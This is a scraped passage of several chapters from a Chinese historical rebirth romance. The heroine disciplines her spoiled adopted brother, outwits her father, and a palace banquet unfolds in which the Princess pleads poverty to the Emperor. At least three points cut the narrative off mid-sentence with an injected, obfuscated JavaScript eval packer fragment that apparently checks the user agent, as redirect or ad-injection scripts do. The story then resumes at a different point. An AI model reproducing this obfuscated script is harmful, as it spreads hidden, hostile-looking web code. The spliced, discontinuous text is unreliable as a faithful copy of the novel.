蜜云长得乖巧,脸蛋像个银盘,很有一种珠圆玉润的感觉,瞧着就是性情绵软温和的。与蜜珠那种明艳照人的长相,又有许多区别。 她打小儿就被刘小娘捏在手心,让她怎么学怎么做,乖的失了自己的主见。 听到刘小娘问,蜜云低着头道。 “大字都写过了。” 刘小娘就满意道:“好。那就好。等过些日子,娘让你爹再打听打听,有没有什么可堪婚配的夫郎。从前娘疏忽了,还没留意这方面的事儿,如今你也大了,是该留意着。你大姐姐而今得了一门好亲事,往后也算是得了富贵的人…哎…” 刘小娘忽地叹息一声,脸上笑容不再,拧眉道。 “总之。既然你嫡姐能嫁入王府当世子妃,你的婚事也不能太差。” 蜜云动了动嘴唇,想说大姐姐得的亲事,算好的吗? 若不是圣上指婚,没的反抗,大姐姐这样的花容月貌,怎么能配一个痴傻的人呢。 女子的终身大事是多么重要,成亲了就是一辈子的事情了,对着一个病弱的痴傻夫君,岂不是浪费了一辈子的光阴。 然而这些话,蜜云放在肚子里没有说出来。 府里并没有她说话的位置,她与大姐姐其实是同病相怜,甚至,大姐姐兴许比她还可怜上几分。 “娘,我能跟过去看看吗?” 想着这些,蜜云试探着开口。 她方才也听到了,大姐姐带着一堆丫鬟婆子家丁,正往小弟的院子里去呢。 刘小娘觑她一眼,不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他可是蜜府唯一的继承人,是蜜老爷好不容易求着过继来的男丁,怎么敢有人来这样对他?! 11.第 11 章 蜜珠才不管他是怎么想的,今日既然决定教训他,必然是做好了一切准备。 来之前,她就找了婆子家丁们,提前敲打过一番,把该说的都说了。 而今得了命令,这些人不敢不听,木棒挥起来是一点没迟疑。 但在蜜珠先前的吩咐下,这些人注意了手上的力道,看起来像是很用力,但实际打在蜜林身上,也只是雷声大雨点小罢了。 可蜜林不知道啊。 板子落到屁股蛋上,蜜林直接崩溃了。 自从他来到蜜府之后,几乎所有人都捧着他。 下人们恭敬喊他小少爷,蜜老爷几乎把他当亲儿子一样重视,甚至有些小心翼翼。 蜜林这段日子早就慢慢飘了,所有人都应该顺着他。 仔细说来,他算是蜜府的大恩人和救世主,如果不是他被过继来,蜜府就连儿子都生不出来。这些女眷难道不应该对他感恩戴德? 蜜珠竟然还敢让人打他? 其实如果仔细感受,打了几板子下来,并没有那么疼。 但蜜林却尖叫起来,瘦削身躯挣扎,大喊道。 “贱人!将来要嫁给傻子的毒妇!你竟敢打我!” “爹!爹!有人打我!你把我打死,蜜府就要断子绝孙!” 孩童的声音尖利起来,颇有一种吓人的声势。 “你等着!你打了我,爹会把你活活打死!他把你逐出宗祠,罚你浸猪笼!” “毒妇!毒妇!”蜜林的声音几乎穿破人的耳膜。 小小年纪,骂人时却言辞犀利,口齿也清晰,看着挺倔强的。 瞪着蜜珠的眼神,也满是怨毒。 小柳儿胆子最小,站在蜜珠身后时,仿佛是自己被小少爷这么瞪着,人都有些发抖了。 这下可坏了,事情闹大了! 整个蜜府可从来没有过这么大的冲突。 而且还是涉及到老爷最宠爱的小少爷! 谁不知道,小少爷来的那一天,老爷脸上笑容都开了花,亲自带对方从本宗回来,还专程开祠堂祭祖,甚至将所有下人都聚到了一起,专门让人以后恭敬对小少爷。 现在大小姐让人打了小少爷。这… 不仅下人们被这一幕惊到,跟在刘小娘身旁悄悄过来的蜜云,也捂住了嘴,惊到不知所措。 刘小娘倒是一怔之下,将手里的扇子扇了扇,眼睛一转,联想到了今日发生的事儿,心中也了脉络与猜测。 这大小姐倒是一个妙人。 也不知道是从前在府里,把性子装的太好,藏得太严实,才没让她看出来,对方竟然是有点儿血性与手段在的,要么不出手,一旦出手,还挺雷霆万钧。 听说上次府里把曲立封抓住了关在柴房,就是蜜珠的手笔。 只不过刘小娘当时听到了,没有相信。 蜜珠十几年的印象放在那儿,谁都知道她像王氏,软弱好欺,说好听点儿是文静贤淑,实际上就是性子过于绵软。 这样的人,若是婚配不当,寻到个豺狼一般的夫君,多半就是凄惨下场。 刘小娘暗地里看得分明,却从来没有开口提点过。 反正蜜珠现在不是要嫁给南宁王府么。这门婚事多少能在面子上,给蜜府增加点光彩,相当于给她自己女儿铺路了。 二十大板打完之后,毕竟还没长大,蜜林捂着屁股眼泪汪汪看着蜜珠,哽咽道。 “你完了!爹肯定会帮我报仇!教训你!” 蜜珠慢悠悠踱步到他面前,缓缓俯身,居高临下看着他,勾起了唇。 “那你可要和爹好好编排一番,看看怎么才能让他罚我更惨一点。我好等着。” 转身出门时,她裙摆翩跹,又回眸到蜜林道。 “倘若再叫我知道,你顶撞嫡母,在府里闹出什么事儿来,弄得人仰马翻人心不宁,你放心,我还会再来打你。” “哪怕我嫁出去,离开了蜜府,也依然如此。” 说起这番话时,蜜珠语气和缓,语调甚至是温柔的,陪着她动听的音色,还有那张但凡用心一看就会令人沉沦的脸,给人的震撼感反而更强。 她瞧着就跟九天仙女一般,能说出句重话都了不得了,如今竟然能如此气势惊人的对蜜林放狠话。 对着蜜珠这个名义上的嫡姐,蜜林往常从来没有觉得对方美过。 反正长得再怎么好看,脑子不好用,性子又懦弱,就是个废物,只能被利用给家族铺路。 他几乎没有正眼看过蜜府所有的女眷。 他一来就是独子,其他人他日都要仰仗他来继承蜜府,有什么资格来让他另眼相看。 可今日蜜珠的行为,几乎是将他的脸扯下来,狠狠踩在了脚底。 大概是被杀过了威风,再看蜜珠时,忽然就觉得他这个嫡姐,是有些气场在的。脸也的确是国色天香,好看到令人有些愣神。 怪不得京城里的人,都说他嫡姐美,配南宁世子有些可惜了。 望着蜜珠离开的身影,蜜林捂着屁股站起来,恶狠狠道。 ——可惜个屁! 那南宁王府也不是什么好地方,他这嫡姐进去了,肯定过不上好日子! * “嫡姐…”外头站着,旁观了方才这一幕的蜜云,凑过来小声喊道,“这事儿闹大了怎么好?” 蜜云从小就喜欢跟在蜜珠身边玩儿,大约是因为年龄相近,府里又只有两姐妹,而且两人性格都不是那种会欺负人的,反而就能相处得来。 但刘小娘不喜欢自己女儿傻乎乎跟在蜜珠后面。 尤其是两姐妹站在一起时,容貌差距太大,一下子就会把原本看着有些清秀的蜜云,给完全比到尘埃里去。 蜜云不计较,刘小娘却不舒服的很。 再加上这两姐妹,一个是嫡女,说出去都身份尊贵,但另一个却因着她的缘故,只能是庶女,将来说亲都要低人一等被连累。 刘小娘心里不服气,就更加不喜欢女儿和蜜珠往来太多,也导致两姐妹没有太多相处机会,关系显不出来亲近。 这会儿见蜜云走去和蜜珠说话,刘小娘轻轻哼了一声,依然有些看不过去。 她倒是宁愿女儿能争强好胜一些,那么没心眼儿,真是半点不像自己。 面对蜜云,蜜珠脸色温和下来。 “不用担心。” 重生之后,蜜珠一直忙于处理自己的事情,之前一直没有时间和自己唯一的妹妹碰面。 这会儿看到了蜜云关切自己的眼神,她恍惚间想起了对方前世的命运。 按照前世的时间线来说,下个月的花灯会上,妹妹因为出门,被人流冲散,以至于遇到了拐子,从而失去了下落。 一直到她后来嫁给曲立封,对方多年后成为首辅,妹妹的踪迹始终没有被找到。 刘小娘那么自私的一个人,在失去了唯一的女儿后,大病了一场,就此性情大变,甚至就连神智都变得不太清醒了。 如今再回忆起过去的那些,蜜珠忽然有种感觉。 命运就像是被一双无形的手,拨弄着丝线,其实一切大变都有迹可循。 譬如蜜府的败落——就从她选择了曲立封开始,也从妹妹失踪开始。 蜜珠轻轻叹气,望着妹妹的眼神也变得复杂起来。 “你看,我这些日子都太忙了,没有寻你说话。小妹,我待在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但等有了二皇子之后,毕竟有子嗣,在后宫的位置更加稳当了一些,淑妃就慢慢恢复了几分自己的本性,豪爽性情出来了,私底下更是不加掩饰。 二皇子不服气:“为何不让我说?” “你瞧哪个皇子有你话多,男人怎么能跟长舌妇一样嚼舌头呢。” 淑妃一边走,一边拧眉回头看二皇子,不太理解。 她也不是那种爱说别人闲话的性子,陛下也不像,偏偏生出来的儿子这般爱在背后说闲话。 尤其是对华宣。 华宣算起来是二皇子的堂弟,而且还是后天痴傻了的,合该被人多关爱几分,但二皇子却丝毫没有那种兄长的做派,反而还一直盯着华宣比。 人家都傻了十几年了,自家皇儿竟然还一直惦记着踩他一脚。 “待会到了家宴,你安静些。” 淑妃实在不放心,扭头继续叮嘱二皇子。 和别的后妃不同,她对自己已经成年的儿子,并没有那种小心翼翼的相处感,反而更加像民间的母子,说话做事都很自然,想到什么就说什么了。 “你脑子不聪明,话多了容易被人拿住把柄,听到没。”淑妃耳提面令。 “我再不聪明,也比华宣强啊!” 二皇子被训了,梗着脖子道。 “母妃,父皇为何不给我指婚,偏要给个傻子指婚。” 听说还给华宣指了个京城最美的姑娘,这种泼天好事怎么就没掉他头上! 难道这是傻子才能有的艳福? 12.第 12 章 他都二十又二了,还没有门当户对的皇子妃,他才是父皇的亲儿子,这么一想,怎么不让人心里不平衡。 尤其是想到幼时,在华宣还没痴傻之前,每次对方跟着姑姑来皇宫,随便表露点什么,被父皇考较一番,然后就将自己比下去的场景,二皇子就觉得不舒服。 从前被比下去就算了,他认了,就当华宣天赋异禀,是个神童转世。 可怎么对方痴傻了,还在父皇心里压自己一头? 淑妃看了一眼四周,见快到御花园了,压低了声音对儿子道。 “想想你姑姑,不看佛面看僧面。” 见二皇子睁着迷茫的一双眼睛,像个木头疙瘩,淑妃嫌弃的用指甲推了一下他脑门。 “人不聪明,就别话多,省得别人笑话你。不懂的藏在心里,多听多看。” 淑妃的指甲尖利,戳了二皇子一下,后者就轻“嘶”了一声。 “母妃!我都那么大了,毕竟是个皇子,你该给我留点面子!” 他捂着脑袋,人看着也算清俊,但做出表情来时,却颇有些龇牙咧嘴的意思,瞧着就不太聪明。 淑妃轻哼一声:“面子是自己挣出来的。” 这番话说着,人就到了御花园。 二皇子咕哝了一句:“给我找个容貌倾城的皇子妃,不就把面子都挣回来了。” 听说蜜府的大小姐,长得那叫一个天香国色,实乃人间仙子。 光是听人这么说,二皇子心中就挺惦记的了,可惜五品实在是小。他毕竟是皇子,将来的皇子妃当然要更加能上得了台面才行。 但听到蜜家大小姐,被许配给了华宣,二皇子心里就老不自在,立刻觉得蜜家的大小姐是被糟蹋了。 还不如给自己当个侧妃呢。 怎么能便宜华宣这样的傻子。 在这样的咕哝中,二皇子一行人走到了御花园,正是今日皇宫摆放宴席的地方。 几年没看见华宣了,其实二皇子对他依然印象深刻。 实在是少时的华宣,太过于出色了,才三岁的时候,就能张口吟诗做赋,像是生来就有慧根的人。 而且因着年纪比二皇子还小,更加衬托出那时候已经五岁的二皇子愚钝。 许多次,二皇子的记忆里,父皇常常在夸奖完华宣后,叹气地朝着他看来,像是很希望把这两个孩子换一换的样子。 …… 今夜月圆,亭子里已经有几个人坐在那儿了。 皇帝在中间,旁边陪坐着其余的后宫嫔妃们。 当今皇帝子嗣并不多,加起来也就只有四个皇子。 此时除了二皇子是跟着淑妃姗姗来迟,其余的三个皇子都各自站在皇帝身旁,众星拱月一般,瞧着长相都还不错。 但无论谁一眼扫去,都会觉得最引人注目的是皇子旁边的人——被长公主一直带在身侧的华宣。 哪怕这个昔日曾经惊艳了众人的南宁世子,如今已经是一个痴傻的人。 这个时节,众人还有许多穿着春装的,偶也有人怕热,穿的是夏装。但一打眼望去,整个皇宫几乎只有华宣一人穿的是冬装。 厚厚的披风裹住了他,只露出来一张极其英俊,但有些苍白的脸——一看就是常年缠绵病榻,且很少见光的模样。 “咳咳…”许是有太多人将目光放到他身上,被人关注的华宣骤然咳嗽起来。 似是小小孩童受到惊吓一般,身体本能的往自己母亲旁边靠去。 但他如今已经是个弱冠之年的成年男子了,换成别人,甚至都已经成亲有了孩子,是以他局促不安的模样,就更加刺痛人,让人知道,这么芝兰玉树的一个男子,竟然智力不足。 二皇子在来的时候,想过很多关于华宣的事情。 许多年不曾见到这个表弟,今日在家宴上见到了,本来存着想要和对方一试高下的攀比心理,骤然变成了另外一种难言的心情。 长公主端坐在那儿,见到二皇子的时候,还招了招手。 “是常羽啊。” 因着先皇,还有当今陛下的重视,自幼被宠大的长公主,每每到了后宫就跟回到了自己家中一般,言行极其放松,甚至带出了些民间的风气。 而明帝似乎恰恰也是喜欢这一点的。 二皇子局促地看了一眼明帝。 他做事总是被嫌不如其他皇子大气,是以在有明帝在的场合,二皇子会像夹起了尾巴的老鼠似的,偷偷观察对方神色。 明帝最是看不得自己儿子露出这样一番模样,见他探头探脑的,登时心情就不佳了。 “见了你姑姑,还不知道过来招呼。” 明帝呵斥着自己的这个二儿子,感觉眉心都跳了起来。 方才他其他几个儿子,表现都没二子这么糟糕,竟然跟个木头似的愣在那里。 二皇子被一训,只能耷拉着脑袋走了过来。 “见过姑姑。” 长公主似乎对二皇子多有青睐,哪怕对方虎虎憨憨的,还是笑了起来。 “和姑姑还客气什么。” “常羽毕竟是长大了…倒像是个将军一样气宇宣扬。”她似乎是忽然想到了什么,眼神撇向一旁,脸上愁容一闪而逝。 任谁都能看出来,那是因着二皇子幼时曾经和华宣走得近,长公主见着了他,立刻就想到了身旁的儿子——有些伤感了。 二人年纪相近,南宁世子却偏偏永远智力不足… 皇帝又瞪了一眼二皇子:“就你来的最迟。” 二皇子愈发垂着脑袋,只是心中到底有些郁闷。 不管华宣是好好的还是痴傻了,他发觉自己每次见着对方,总没好事。这也不知道是不是命里八字相克。 家宴从头至尾,华宣都呆呆愣愣坐着,像还没开窍的三岁稚子,需要有人把饭送到他碗里,他才专心低头吃饭。 好在他这副皮囊是真的足够出色,以至于哪怕痴傻了,坐在那儿不哭不闹的时候,依然能让人心里生起怜惜之感。 多少妃嫔们悄悄打量着南宁世子的样子,忍不住促狭着想。 南宁王世子虽说没有成年男子的心智,但多少还是养眼的。 不知道被指婚的蜜家大小姐,将来见了这夫君,到底是喜欢呢,还是不喜欢? 家宴快结束时,明帝似是漫不经心的开口道。 “赐婚圣旨到了,怎不见你们去提亲?” 莫不是对这桩婚事不满意? 帝王的怒气已经隐而未发,整个御花园的气氛一变,多少人都悄悄捏着筷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“…不、不吃那么多了。” 看着像是被嫌弃过吃饭太多,所以被惊吓到不敢再吃饭的样子。 一时间原本岁月静好的御花园,被痴儿幼女连同长公主的哭诉声充斥。 长公主已经跪坐在地上,鬓发略有些散乱:“皇兄!没钱啊!王府没钱,娶不起媳妇,我哪里敢去提亲。呜呜呜呜皇兄!没钱给宣儿提亲,是我这个当娘的没本事呜呜呜呜…” 她捂着脸,声音开始哽咽,肩膀也一颤一颤,看着情绪绷不住了。 这哪里有长公主平日里的风采,四周众人都看傻了。 明帝措手不及,方才脸上的严肃神情来不及收敛,转而变成一种说错了话的惊慌,隐隐有些懊悔,甚至脱口喊出了长公主的乳名。 “慧慧,你都多大了,这么多小辈看着呢,快起来!” 幼时就是如此,慧慧一旦想要什么,被惹哭了,非得哭到个山崩地裂不可。 这么多年过去,明帝本来以为妹妹长大了,他都已经忘了幼时的事情了。眼见长公主跪坐在地上,俨然一副张嘴跟着外甥女一起嚎啕的趋势,他脸都开始绿了。 “朕既然赐婚,岂会不管你聘礼的事。起来!” 长公主尤有些哽咽:“可是要好多银子呢。” 明帝眉心狂跳,脑子都开始发疼:“朕给!要多少给多少!” 13.第 13 章 小郡主晚莲也呜呜道:“娘说不想让皇舅舅操心,可我们府里的开支已经被削减很多了,就是凑不上…” 哎哟,明帝的脑门已经开始抽抽,觉得外甥女很有妹妹的真传,哭起来很山崩地裂,偏偏今日这个话题是他挑起来的,还得他灭。 “缺多少,朕就给多少,全都给朕起来!成何体统!” 明帝已经有些恼羞成怒。 他一瞪眼看向四周的嫔妃和子嗣道:“今日之事若有传出去丝毫,朕就砍头!” 所有人顿时都战战兢兢。 长公主却更加呜呜咽咽哭起来。 “…多谢皇兄。” 御花园一片安静,明帝缓过神来,捏着额角,觉得刚刚平复了一场暴风雨。 淑妃坐直了身子,垂下了脸,眼睛却古溜溜转了转。 长公主好手段啊。 今日这场闹剧一出,不管是因为愧疚想要弥补,还是粉饰太平,帝后二人会给出多少赏赐啊。 看来这蜜府的大小姐是个财星,人还没过门儿,已经开始招财了。 以后将人喊进宫来看看,到底是个怎样的妙人。 从家宴回去后,马车上擦干了眼泪的小郡主,眨着眼问长公主。 “娘,我方才表现好吗?” 害怕哭不出来,她可是偷偷掐了自己手心呢。 长公主心疼地捧住女儿的脸,亲了亲道。 “我儿聪慧。” 就是小小年纪,要跟着自己去卖惨卖乖,多少丢了身为皇室血脉的尊贵。 小郡主却像是看出了长公主在顾虑什么,主动圈住她脖子,安慰道。 “娘,我们可是一家人呢。我要把兄长的那一份聪慧多出来,这样我们家才不吃亏。” 长公主听了女儿这童言无忌的话,有些哭笑不得。 她将目光瞥向马车里的第三个人。 坐在窗边的世子,正捧着一个甜点盒子,低头不语。 长公主故意道:“回头等我们送了聘礼去,晚莲也可以去看看未来的嫂子。” 晚莲亮起了眼睛:“真的吗?听说未来嫂嫂长得可漂亮了。” 长公主摸摸女儿的脸道:“虽说世人都爱以讹传讹,但能有这样的名气,多半也有根据。” 晚莲开心了:“那以后嫂嫂和兄长的孩子,肯定长得也好看。我们王府的每个孩子都漂亮。” 长公主愕然,随即莞尔。 看来女儿是遗传了自己,格外青睐貌美之人。 想当初自己就是看上了华宣他爹那张脸,才会有了后来的婚事。 想到当初,真有种恍如隔世的感觉,也不知道多年后,有妻有子的儿子再回忆起如今,会是什么感受。 马车帘子被风吹起了一角,世子华宣的脸,在街上一闪而逝。 将来的孩子么。 华宣垂下的眼里闪过几丝难得的晦涩。 * 昨夜蜜老爷和同僚们去小聚了一番,回来后就醉醺醺的。 连带着府里的管事,也不太敢这个时候凑上去,将小少爷连同大小姐之间闹的事儿说出来。 老爷酒没醒的时候,说不了事儿,这已经是蜜府管事早就知道的。 所以等到一大早,趁着蜜老爷在那儿逗鸟的时候,管事才敢凑过来,将昨天发生的事一五一十说了。 本来兴致还不错的蜜老爷,将鸟笼门“啪”关上,脸上怒意显了几分。 “将大小姐喊来!” 他几日没有整顿后宅,这府里的人真是愈发无法无天了! 蜜林可以说是他单传的独苗苗,代表着的就是他的脸面,蜜珠竟然把脚踩到他脸上去了! 蜜老爷像是要发怒的狮子,在厅堂里来回踱步。 等到蜜珠跟着管事款款而来时,就见蜜老爷像个要审犯人的判官似的,端坐在堂上,没什么表情的瞪着她。 往常蜜珠最怕的,就是爹的威严。 前世她甚至和爹都没说过几句话,每次都是低着脑袋,将所有情绪藏起,懦弱又温顺的听从一家之主做的每一个决定。 想来这样的日子过久了,是会让人渐渐失去勇气与判断力的。 前世成为曲立封的下堂妇,过着被囚禁的日子时,蜜珠曾经不止一次的回望自己的过去。 然后回首到了自己出生的地方。 ——倘若回到当初,她最怕的爹面前时,她能让自己鼓足勇气好好说话么。 比起当初陷入少女情愫里,慌不择路的选了曲立封,其实更加让蜜珠绝望的是自己的性情——她只是从打小就没法自己做主的蜜府,转移了生活,到了另一个无法做主的世界而已。 而决定这一切的,其实是她本身的性格。 她总是逃避一切的性格,决定了她后来走的每一步路,每一条命运。 再回到当初,回到爹面前时,她想能从最开始的地方改变自己。 就譬如此时此刻。 穿越了前世的所有记忆,重新站在蜜老爷面前时,蜜珠发觉自己其实并不惧怕爹。 她惧怕的似乎是另外一种东西——这个世界的规则,所有那些无形中加诸在女子身上的压力。 而在她从小到大待着的蜜府里,蜜老爷就是那个曾经的天与地,代表了规则与权威。 “爹。”蜜珠回过神,抬头看着蜜老爷,笑意吟吟道。 “从我定了这门婚事以来,爹就一直在为我费心,前头先是帮我处理了曲立封的事儿,让他不再能缠着我。我想,爹如此重视家族名誉,我就得多上心学着点。” “爹这几日忙,兴许还不知道府里发生的一些事情,但我猜管事应该已经说了点与你听。” “弟弟在学堂里被夫子训斥,而后就跑出去一天未归,等母亲派人寻他时,他才姗姗而归。母亲为他担忧这是嫡母该做的,但做儿子的不敬嫡母,还口出狂言,捏造是非,这就不该了。” 抢在蜜老爷开口之前,蜜珠幽幽道。 “这事儿若传出去,旁人只会觉得我们蜜府治家不严。眼下正是女儿婚事定下来的关键时刻,南宁王府到这会儿都还没来提亲,兴许人家背地里是在打听呢。” “若是叫人知道了弟弟做的事儿,他们会不会觉得女儿也是这等不尊嫡母、胆大妄为的人呢?这…怕是不妥当。” “爹,我一时心急,才会令人去责打弟弟。” 蜜珠停顿片刻,观察着蜜老爷的神色,叹息道:“爹是要为了这个事儿怪我还是罚我?” 行了。 她这么长一通话说完,身后的管事,连同坐在那儿的蜜老爷,都直接有些傻了。 一个人的印象是靠长年累月堆叠起来的。 蜜珠从前是那种最让人省心的姑娘,说话轻声细语,又重规矩,不论是管家还是蜜老爷,都先入为主觉得她是个好姑娘——那种必定会在家从父出嫁从夫的女子。 所以她今日骤然说了这样的话,两人竟然都没反应过来,这是蜜珠在隐晦地试探颠覆从前的性 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“爹,可你刚才让管事喊我来,是不是怪做自作主张做错了事儿?” 虽然事实的确如此,但现在话却不能这么说,也不能那么承认。 蜜老爷多少也有点脑子,前头都知道多去正房那儿住几日,好以后让妻子王氏多去和女儿联络感情,从而带动自己的仕途。 这会儿父女俩直接对话了,他怎么可能承认喊蜜珠来,是要训斥对方,这不是用现成的机会去伤父女情分么。 “怎么会。爹不是那等不开明的人。你是长姐,管教幼弟,自是理所应当。爹怎会怪你。” 蜜老爷强装出一副慈父的模样。 管事的看着,都觉得老爷这副神情,瞧着真是不自然啊。 实在是从前蜜老爷重儿轻女,对两个女儿向来是不冷不淡,甚至是冷着脸,没什么关怀的,今日这副努力关切表现温和的模样,就显得很不熟练和自然。 蜜珠却认认真真将这一幕看在眼里,记住了。 在她那短暂的十几年时光中,爹曾经是权威的制定者,好像整个蜜府就该围着爹的一切指令生活。 就像天下的百姓,就该按照皇室里的天子所发布的一切,兢兢业业生活。 她此前从未想过顶撞爹,或者忤逆爹。似乎一切不是爹让自己做的事情,就都是错的。 譬如前世选择了曲立封。 蜜珠无数次后悔痛苦,为何要背弃作为闺阁千金灌输到骨子里的一切教条与规矩。 是因为她先破坏了规矩,后来她才会再成为被曲立封抛弃的那个人? 但现在,她想明白了,也许错的不是别的。 让她一步步走向深渊的,是她懦弱又急于寻找到依靠的心。 她从未真正清醒和勇敢过,当然就一直在赌运气。 在家赌爹娘给自己找个好亲事,出嫁了赌丈夫会是个疼惜自己的良人。 命运从未在她手里,被自己真正握着,从未。 她不知道,清醒过来照着自己的意志去生活,会是什么样的结局,过的会不会好,但至少,这条路要走一走,才知道前面会是什么样的风光。 就譬如,要试着顶撞一下爹,才知道原来爹也是个肉体凡胎,说错话了会心虚找补。 他并不是生来就对的。 14.第 14 章 “爹是说,我日后还要继续管教弟弟,做的不妥当的地方么?” 蜜珠收起了脸上的忐忑神色,只露出些许期盼之色。 这让蜜老爷快到了嘴边的否定之语,立刻又咽了回去。 左右蜜珠只在家里待不到三个月了。 让她胡闹也闹不到哪里去,毕竟从前女儿的性子放在那儿。 蜜老爷仔细估摸了一下,觉着出不了大乱子,就点头应下了。 “你快成亲了,在府中刚好同你娘学一学管理中馈。” 蜜珠自然是笑着说好。 等到她从厅堂出来时,就撞见了一道鬼鬼祟祟跑远的身影——赫然是弟弟蜜林身边的书童。 想来是方才知道蜜老爷要给唯一的儿子撑腰了,特意过来打探情况,看蜜珠如何被训斥的。 这会儿偷听到了情况不好,特意跑走去给主人传话了。 小柳儿之前也在门外,将里头的对话听了个一清二楚,心不仅放了下来,还对自家小姐生起了说不清的崇拜。 “小姐,你好厉害啊!” 小柳儿一双眼睛几乎装满了小星星,亮晶晶看着蜜珠,就像在看什么了不得的奇迹。 老爷在蜜府就是最顶天的人了,大家当然都惧怕老爷的威严。 本来以为老爷那么偏疼小少爷,对于大小姐昨儿打了大少爷的事儿,肯定会大发雷霆的。 却没想到,大小姐轻而易举就平息了老爷的怒意,甚至还得来了一个管家权。 “这下小少爷以后可就知道,不能再顶撞夫人了。” 说句实话,小少爷来了他们蜜府之后,就这不到一年的光景里,可做了好多作弄人的事儿。 之前还有一次戏弄二小姐,把人家吓到河里,二小姐可不会水性,得亏了当时有丫鬟婆子在身侧,有会水的下去将二小姐及时救了上来。 这么大的事儿,老爷知道了也只是不咸不淡说了小少爷几句,还让二小姐以后不要往小少爷跟前凑,别和个孩子计较。 几次三番下来,小少爷也就知道了,整个蜜府没有人能管到他,平日里做事就更加无法无天。 这次大小姐让小少爷吃了那么大一个亏,偏偏老爷还站在大小姐这边,没有再单方面护着小少爷,实在是太大快人心啦。 蜜府有下人悄悄给小少爷取了个小魔头的称号,却不敢四处声张,只在几个熟悉的人里流传。 小魔头还是没敌得过大小姐。 而且而且…方才看小姐和老爷对话的时候,莫名觉得小姐好气派好威风啊。 见小柳儿高兴到叽叽喳喳,蜜珠失笑。 但她心里其实是复杂的。 重活一世,她发觉自己开始学会揣摩人心了。 爹之所以能容忍她在接下来的时间,继续以“长姐”的名义,去管教弟弟。归根结底,都是因着陛下赐的这桩婚事。 她在爹眼中,成了和南宁王府绑在一起的人,她背后有了一棵可以靠着的大树。 至少在旁人眼里是这样,她成了能待价而沽的人。 看呐,随着她定下了未来夫婿,哪怕那个夫婿是个痴傻病弱的人,但只要家世在,她就成了有价值的外嫁女。 于是她的一举一动,都因此染上了夫家权势的光彩。不再是从前的蜜珠。 蜜珠发觉,自己像是推开了一扇新世界的门。 这扇门兴许不一定能全然对的,但却颠覆了许多她从前的观念。 * 王氏这两日头疼的毛病犯了,尤其是那日被蜜林顶撞后,她心悸又胸闷,很是难受了一阵,昨儿夜里根本就没睡好。 因着昨夜蜜老爷也没有到她房里来歇息,蜜府又没有那些个晨昏定省的规矩,王氏今日难得起了个晚。 等她醒来时,才见屋里的大丫鬟翠玉,眉眼欣喜。 “夫人…” 见王氏面色不错,似是精气神恢复了一些,翠玉赶着昨日傍晚和今日的事儿,挑了点重点说。 “咱们大小姐厉害着呢,昨儿才训过小少爷,今儿就能在老爷那过了明路,往后都以长姐的身份管教对方。老爷还放话,让她跟您学着怎么管理中馈。” 王氏听了这一桩桩一件件的事儿,颇有些还处在梦中没醒来的感觉。 她重新退回榻上,预备躺回去。 翠玉不解:“夫人,您这是怎么了?” 王氏扶着脑袋:“我该是在做梦,还没醒来。我再躺会,缓缓,要不然青天白日的,搁这儿胡思乱想总是不成的。” 先前珠儿和她说起女子不如当个泼妇这样的言辞,就已经够让王氏震撼的了。她好几天都没缓过来呢。 而今听到翠玉讲起蜜珠新鲜出炉干的事儿,王氏可不得一口气喘不上来嘛。 翠玉瞧着夫人这样,忍不住笑了。 “夫人,您不高兴吗?” 从前瞧着夫人性子软和,虽说对下人来说有个这么宅心仁厚的主家,是好事,但主家若是太过于好说话,就容易被蒙蔽。说不准还有些胆大妄为的奴婢,敢做些欺主的事儿。 王氏让自己缓了又缓,才蹙着眉头道。 “珠儿变化太大了,让我心中不安。但我也知道,女子性情烈性一点,兴许出嫁了能好过点,不容易被人拿捏。我从前也不懂这些道理,连累珠儿与我一道闷声受委屈。她好不容易靠自己立起来了,我…想来,我还是就当不知吧。” 王氏未出阁之前,就没什么主见,习惯了什么都听爹娘的。后来成亲之后,更是把“以夫为天”这话,秉持到了极点。 这些年来她都已经习惯了这样生活,虽然也常常哭泣和苦闷,却也没觉得这样的日子有什么不对。 眼见女儿跳脱出从前的性子框架,她下意识觉得恐惧,生怕这种变化会带来不好的影响。 翠玉不解王氏的忧虑,但见她这番担忧模样,还是出言宽解道。 “您如今该想想,回头大小姐成亲了,带些什么人与她一道陪嫁。这样倘若不放心,大小姐身边也能放些人提点着…” 这话也是为了宽慰夫人,叫她不要胡思乱想。 一根藤上长出来的葫芦,也有大小和形状不同的呢。 照她来看,大小姐能有 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是以在长公主挑选了当时的大将军之子为夫婿时,因着对方的家世算不上显赫,先帝生怕女儿将来的子嗣不够风光,特意赐予了长公主未来夫婿南宁王这个封号。 这才有了现在的南宁世子。 说到底,因着长公主的缘故,才有了现在整个王府的地位。 京城权贵圈子里的人,几乎都晓得这样的秘闻。 可以说,长公主凭着这门婚事,以一己之力,把丈夫从前朝公主的儿子——这样尴尬又注定受冷落的身份,扭转成了当朝驸马,也让整个王府安全了些许。 是的,安全。倘若没有长公主选择驸马这件事,兴许过个十几年,前朝公主一脉,就会无声无息消失。 王氏这边听着门房的话,惊的人都站不稳了,手忙脚乱让人先去迎接。她急急忙忙让翠玉帮忙看,自己的着装是否妥帖。 但想了想又不能让贵客久等,刚坐下来的身子又站了起来,就跟热锅上的蚂蚁一般。 “夫人,不用慌,还有老爷在呢。” 翠玉低声道。 王氏这才让自己顺过来了一口气:“是啊是啊,老爷在呢。” 像她这等习惯了有依靠的女子来说,听到但凡有什么大事发生,但府里有个男人在,心里就会轻松许多。 反正天塌了自然有老爷顶着,有贵客来当然也是如此。 * 蜜珠正在看蓄月算账,算盘啪嗒啪嗒响的时候,就听小柳儿怯生生凑过来道。 